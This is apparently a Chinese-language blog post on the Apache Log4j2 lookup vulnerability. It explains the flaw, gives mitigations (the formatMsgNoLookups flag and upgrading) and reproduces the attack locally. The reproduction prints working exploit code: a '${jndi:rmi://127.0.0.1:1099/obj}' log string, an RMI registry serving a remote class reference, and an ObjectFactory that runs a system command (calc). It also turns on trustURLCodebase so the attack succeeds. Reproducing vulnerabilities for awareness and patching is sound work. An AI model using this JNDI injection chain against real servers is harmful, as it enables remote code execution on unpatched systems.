Apache Log4j2模擬漏洞復現及解決方案

前言:上週五有關開源日誌框架Log4j2高危漏洞預警發出後,這幾天各大互聯網公司都在加班加點做緊急漏洞處理。這是個什麼漏洞呢?有多大危害,搞得互聯網任人心惶惶!

漏洞背景

開源框架Apache Log4j2是一款非常優秀的日誌記錄框架,功能豐富,性能優越,應用於大量的業務系統中,深受廣大java開發者的喜愛。 本次漏洞其實是基於log4j2的lookup功能造成的,當用戶輸入的日誌參數非法${XXX}時,log4j2並沒有做嚴格的校驗,而是會解析非法參數${}中的內容並執行。這樣就會給一些非法分子利用此漏洞的機會,發送一些系統操作命令,從而控制服務器,造成不可估量的損失。

影響範圍

2.0版本到2.15.0-rc1均會收到影響 一些開源工具也收到影響(flink/solr/druid/kafka...)

解決方案

緊急方案: jvm啓動參數增加配置 -Dlog4j2.formatMsgNoLookups=true

最終方案: 及時更新至Apache Log4j 2.15.0-rc2版本

漏洞復現

整體流程

請添加圖片描述

模擬業務邏輯打印日誌

新建工程並添加依賴

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter</artifactId>
	<exclusions>
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
		</exclusion>
	</exclusions>
</dependency>

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-test</artifactId>
	<scope>test</scope>
	<exclusions>
		<exclusion>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-logging</artifactId>
		</exclusion>
	</exclusions>
</dependency>

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

==本示例新建springboot工程,默認logback,所以需要排除掉==

新建Log4j2執行示例

public class Log4j2LoopholeService {

    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        //本地jdk版本是1.8.0_131  默認下面配置爲false  所以修改此配置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//        String name = "qrainly";
//        String name = "${java:vm}";
//        String name = "${java:os}";
        String name = "${java:version}";
//        String name = "${java:locale}";
//        String name = "${java:runtime}";
//        String name = "${java:hw}";
//        String name = "${jndi:rmi://127.0.0.1:1099/obj}";
        logger.info("name->====={}=====", name);
    }
}

模擬JNDI注入服務

新建Rmi動態註冊服務

public class RmiRegistryServer {

    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] argv) throws RemoteException, NamingException, AlreadyBoundException {
        //啓動RMI註冊服務,指定端口爲1099 (1099爲默認端口)
        //也可以通過命令 $java_home/bin/rmiregistry 1099啓動  (再打開一個DOS窗口且必須事先用RMIC生成一個stub類爲它所用)
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("AttackObject","AttackObject","http://127.0.0.1:80/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("obj",wrapper);
        logger.info(">>>>>>>>>>>>>>>>>>>>>RmiRegistryServer is successful<<<<<<<<<<<<<<<<");
    }
}

新建攻擊類

public class AttackObject implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(">>>>>>>>>>>>>>>>>>執行攻擊代碼<<<<<<<<<<<<<<<<<<");
//        Process process = Runtime.getRuntime().exec("notepad.exe");
        Process process = Runtime.getRuntime().exec("calc");
        return null;
    }
}


綁定攻擊類編譯文件到Nginx的html目錄下

在這裏插入圖片描述

模擬攻擊注入

啓動Nginx

在這裏插入圖片描述

啓動Rmi註冊服務

在這裏插入圖片描述

執行模擬業務main方法

執行結果

在這裏插入圖片描述

日誌參數非法執行喚起計算器,當然這是我本地模擬攻擊實現,如果是其他執行命令執行,例如刪除某些文件,關機等操作,將給我們應用服務帶來不可估量的損失。

本文示例代碼: log4j2-loophole.

後續

互聯網安全問題是我們每一個互聯網人都要認真對待的事情,防患於未然,認真對待落實安全問題,才能夠有效保證我們的財產安全。

持續更新中

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章